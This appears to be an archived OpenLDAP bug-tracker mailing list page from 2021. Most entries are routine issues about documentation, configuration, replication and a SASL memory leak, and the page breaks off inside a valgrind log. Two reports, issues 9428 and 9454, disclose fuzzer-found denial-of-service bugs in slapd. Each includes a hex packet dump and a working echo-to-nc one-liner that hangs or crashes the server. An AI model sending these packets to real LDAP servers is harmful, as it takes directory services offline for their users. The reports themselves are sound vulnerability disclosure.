openldap-bugs July 2021

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[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9587] New: Admin guide: Need example partial replication configuration
by openldap-its＠openldap.org 27 Aug '21

27 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9587 Issue ID: 9587 Summary: Admin guide: Need example partial replication configuration Product: OpenLDAP Version: 2.5.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The admin guide states: Syncrepl supports partial, sparse, and fractional replications but there are no example configurations for partial replication to draw from. This needs to be added to the guide. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 9611] New: no structural objectclass in configuration table
by openldap-its＠openldap.org 18 Aug '21

18 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9611 Issue ID: 9611 Summary: no structural objectclass in configuration table Product: OpenLDAP Version: 2.5.5 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: jb00356987(a)techmahindra.com Target Milestone: --- Dears, When I tried to start sldap 2.5.5 I get following error : 60eff599.06749e9d 0x7fb62750f740 <<< dnNormalize: <cn=manager,cn=config> 60eff599.0674bad5 0x7fb62750f740 <= str2entry(cn=module{0}) -> 0x1193828 60eff599.06752650 0x7fb62750f740 : config_add_internal: DN="cn=module{0},cn=config" no structural objectClass in configuration table 60eff599.06753c3c 0x7fb62750f740 config error processing cn=module{0},cn=config: 60eff599.0675a8bc 0x7fb62750f740 send_ldap_result: conn=-1 op=0 p=0 60eff599.067611e4 0x7fb62750f740 build-corp-M1 destroy: freeing system resources. 60eff599.06767673 0x7fb62750f740 slapd stopped. 60eff599.06770970 0x7fb62750f740 connections_destroy: nothing to destroy. I don't understand why I get it as I'm able to run slapd 2.4.59 with same config/DB. Can you advice ? Thx, J-L. -- You are receiving this mail because: You are on the CC list for the issue.

1 15

[Issue 9569] New: objectClass Violation with lastbind and delta-syncrepl
by openldap-its＠openldap.org 18 Aug '21

18 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9569 Issue ID: 9569 Summary: objectClass Violation with lastbind and delta-syncrepl Product: OpenLDAP Version: 2.4.58 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: gnoe(a)symas.com Target Milestone: --- If olcLastBind is set to true in a delta-syncrepl environment, slapd fails to add auditModify entries for lastbind to the accesslog due to an objectClass violation. The auditModify object lacks the required reqMod attributes. The lastbind module is not in use. The ppolicy overlay is also in use. It shows in the slapd log as: Jun 03 13:05:34 l-02992-d5a slapd[18715]: Entry(reqStart=20210603170529.000262Z,cn=accesslog): object class 'auditModify' requires attribute 'reqMod' Jun 03 13:05:34 l-02992-d5a slapd[18715]: accesslog_response: got result 0x41 adding log entry reqStart=20210603170529.000262Z,cn=accesslog -- You are receiving this mail because: You are on the CC list for the issue.

1 15

[Issue 9549] New: ldapvc needs a man page
by openldap-its＠openldap.org 18 Aug '21

18 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9549 Issue ID: 9549 Summary: ldapvc needs a man page Product: OpenLDAP Version: 2.5.4 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: ryan(a)openldap.org Target Milestone: --- The ldapvc tool was added in 2.5, but there is no man page for it yet. I've opened this as a separate ITS, rather than append to ITS#9284, because ldapvc is not in contrib and is always installed. -- You are receiving this mail because: You are on the CC list for the issue.

1 11

[Issue 9443] New: Admin guide: Need section on lloadd and load balancer as slapd module
by openldap-its＠openldap.org 18 Aug '21

18 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9443 Issue ID: 9443 Summary: Admin guide: Need section on lloadd and load balancer as slapd module Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: blocker Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The admin guide currently has no documentation on the new lloadd daemon or the ability to set up the load balancer as a module inside of slapd. This is a release requirement. -- You are receiving this mail because: You are on the CC list for the issue.

1 14

[Bug 9200] New: 2.4 to 2.5 upgrade documentation
by openldap-its＠openldap.org 16 Aug '21

16 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9200 Bug ID: 9200 Summary: 2.4 to 2.5 upgrade documentation Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: blocker Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- For the 2.5 release, we need to document the upgrade procedures for moving from OpenLDAP 2.4 to OpenLDAP 2.5. -- You are receiving this mail because: You are on the CC list for the bug.

1 20

[Issue 9439] New: Error text on slave nodes
by openldap-its＠openldap.org 03 Aug '21

03 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9439 Issue ID: 9439 Summary: Error text on slave nodes Product: OpenLDAP Version: 2.4.44 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: tune_up(a)mail.ru Target Milestone: --- In the master slave configuration, the received slaves do not receive error message texts after processing the request on the master node. Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 PROXYAUTHZ dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 MOD dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 MOD attr=telephoneNumber Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 RESULT tag=103 err=19 text=some attributes not unique Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 MOD dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 MOD attr=telephoneNumber Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 RESULT tag=103 err=19 text= -- You are receiving this mail because: You are on the CC list for the issue.

1 9

[Issue 9432] New: ldap_initialize leaks memory if compiled with cyrus sasl
by openldap-its＠openldap.org 03 Aug '21

03 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9432 Issue ID: 9432 Summary: ldap_initialize leaks memory if compiled with cyrus sasl Product: OpenLDAP Version: 2.4.56 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: sternenseemann(a)systemli.org Target Milestone: --- Created attachment 782 --> https://bugs.openldap.org/attachment.cgi?id=782&action=edit Code for the first two examples, compiled with -lldap -lsasl2 I have a trivial program which just connects to a LDAP server optionally using TLS and does nothing further. If I use libldap compiled with SASL support, the executable leaks memory from ldap_initialize even though I call sasl_client_done() in the end: ------------------------------------------------- valgrind --show-leak-kinds=all --leak-check=full -s ./ldapsimilarity ldaps://db.debian.org ==20383== Memcheck, a memory error detector ==20383== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==20383== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info ==20383== Command: ./ldapsimilarity ldaps://db.debian.org ==20383== Using db.debian.org:636 ==20383== ==20383== HEAP SUMMARY: ==20383== in use at exit: 212 bytes in 3 blocks ==20383== total heap usage: 766 allocs, 763 frees, 169,881 bytes allocated ==20383== ==20383== 20 bytes in 2 blocks are indirectly lost in loss record 1 of 2 ==20383== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20383== by 0x56255BE: ??? ==20383== by 0x5626FC3: ??? ==20383== by 0x56272AE: ??? ==20383== by 0x56280A2: ??? ==20383== by 0x56280B7: ??? ==20383== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20383== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20383== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20383== by 0x489DD43: sasl_client_init (client.c:316) ==20383== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20383== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20383== ==20383== 212 (192 direct, 20 indirect) bytes in 1 blocks are definitely lost in loss record 2 of 2 ==20383== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20383== by 0x56271C9: ??? ==20383== by 0x56280A2: ??? ==20383== by 0x56280B7: ??? ==20383== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20383== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20383== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20383== by 0x489DD43: sasl_client_init (client.c:316) ==20383== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20383== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20383== by 0x485620D: ldap_create (open.c:109) ==20383== by 0x4856491: ldap_initialize (open.c:241) ==20383== ==20383== LEAK SUMMARY: ==20383== definitely lost: 192 bytes in 1 blocks ==20383== indirectly lost: 20 bytes in 2 blocks ==20383== possibly lost: 0 bytes in 0 blocks ==20383== still reachable: 0 bytes in 0 blocks ==20383== suppressed: 0 bytes in 0 blocks ==20383== ==20383== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) ------------------------------------------------- If I compile openldap without cyrus sasl the valgrind log looks like this: ------------------------------------------------- valgrind --show-leak-kinds=all --leak-check=full -s ./ldapsimilarity ldaps://db.debian.org ==20305== Memcheck, a memory error detector ==20305== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==20305== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info ==20305== Command: ./ldapsimilarity ldaps://db.debian.org ==20305== Using db.debian.org:636 ==20305== ==20305== HEAP SUMMARY: ==20305== in use at exit: 0 bytes in 0 blocks ==20305== total heap usage: 45 allocs, 45 frees, 13,788 bytes allocated ==20305== ==20305== All heap blocks were freed -- no leaks are possible ==20305== ==20305== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ------------------------------------------------- Also note that if I don't call sasl_client_done() and link specifically againt cyrus sasl for that purpose, as I never call any sasl related functions, the executable leaks over 20K. It seems like an oversight to me that ldap_unbind_ext doesn't free anything SASL related. ------------------------------------------------- valgrind --show-leak-kinds=all --leak-check=full -s ./ldapsimilarity ldaps://db.debian.org ==20410== Memcheck, a memory error detector ==20410== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==20410== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright info ==20410== Command: ./ldapsimilarity ldaps://db.debian.org ==20410== Using db.debian.org:636 ==20410== ==20410== HEAP SUMMARY: ==20410== in use at exit: 26,473 bytes in 103 blocks ==20410== total heap usage: 753 allocs, 650 frees, 154,770 bytes allocated ==20410== ==20410== 6 bytes in 1 blocks are still reachable in loss record 1 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4E38FD6: generic_gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E47DFE: gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E4746C: gss_indicate_mechs_by_attrs (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x5627112: gs2_indicate_mechs (gs2.c:1365) ==20410== by 0x56271AC: gs2_common_plug_init (gs2.c:573) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== ==20410== 9 bytes in 1 blocks are still reachable in loss record 2 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x489FCBB: _sasl_strdup (common.c:179) ==20410== by 0x489D2F1: sasl_client_add_plugin (client.c:221) ==20410== by 0x489DCAF: sasl_client_init (client.c:311) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 9 bytes in 1 blocks are still reachable in loss record 3 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4E39037: generic_gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E47DFE: gss_add_oid_set_member (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E4746C: gss_indicate_mechs_by_attrs (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x5627112: gs2_indicate_mechs (gs2.c:1365) ==20410== by 0x56271AC: gs2_common_plug_init (gs2.c:573) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== ==20410== 12 bytes in 1 blocks are still reachable in loss record 4 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A4504: sasl_randcreate (saslutil.c:384) ==20410== by 0x48A035E: _sasl_alloc_utils (common.c:2009) ==20410== by 0x489D3A7: init_mechlist (client.c:68) ==20410== by 0x489DC96: sasl_client_init (client.c:305) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 12 bytes in 1 blocks are still reachable in loss record 5 of 29 ==20410== at 0x4838753: malloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x48A4504: sasl_randcreate (saslutil.c:384) ==20410== by 0x48A035E: _sasl_alloc_utils (common.c:2009) ==20410== by 0x48A0642: _sasl_common_init (common.c:811) ==20410== by 0x489DCBB: sasl_client_init (client.c:313) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== by 0x4870D8E: ldap_int_initialize (init.c:662) ==20410== by 0x485620D: ldap_create (open.c:109) ==20410== by 0x4856491: ldap_initialize (open.c:241) ==20410== by 0x4013C6: run (main.c:68) ==20410== by 0x48D6DBC: (below main) (in /nix/store/1yvpgm763b3hvg8q4fzpzmflr5674x4j-glibc-2.32-10/lib/libc-2.32.so) ==20410== ==20410== 16 bytes in 1 blocks are still reachable in loss record 6 of 29 ==20410== at 0x483A9A2: calloc (in /nix/store/l7qvi4rjqh0b64d9pdjj8vxkwh2ibynz-valgrind-3.16.1/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==20410== by 0x4E38EE5: generic_gss_create_empty_oid_set (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x4E4723C: gss_indicate_mechs_by_attrs (in /nix/store/yrh78gd3swn5a0z5lal4kra42a1ybl48-libkrb5-1.18/lib/libgssapi_krb5.so.2.2) ==20410== by 0x5627112: gs2_indicate_mechs (gs2.c:1365) ==20410== by 0x56271AC: gs2_common_plug_init (gs2.c:573) ==20410== by 0x56280A2: gs2_client_plug_init (gs2.c:961) ==20410== by 0x56280B7: sasl_client_plug_init (gs2_init.c:41) ==20410== by 0x489D20E: sasl_client_add_plugin (client.c:194) ==20410== by 0x48A8F5C: _sasl_plugin_load (dlopen.c:239) ==20410== by 0x48A9151: _sasl_load_plugins (dlopen.c:533) ==20410== by 0x489DD43: sasl_client_init (client.c:316) ==20410== by 0x485C321: ldap_int_sasl_init (cyrus.c:117) ==20410== ==20410== 20 bytes in 2 blocks are still reachable in loss record 7 of 29 ==20410== at 0x4838753: malloc (in 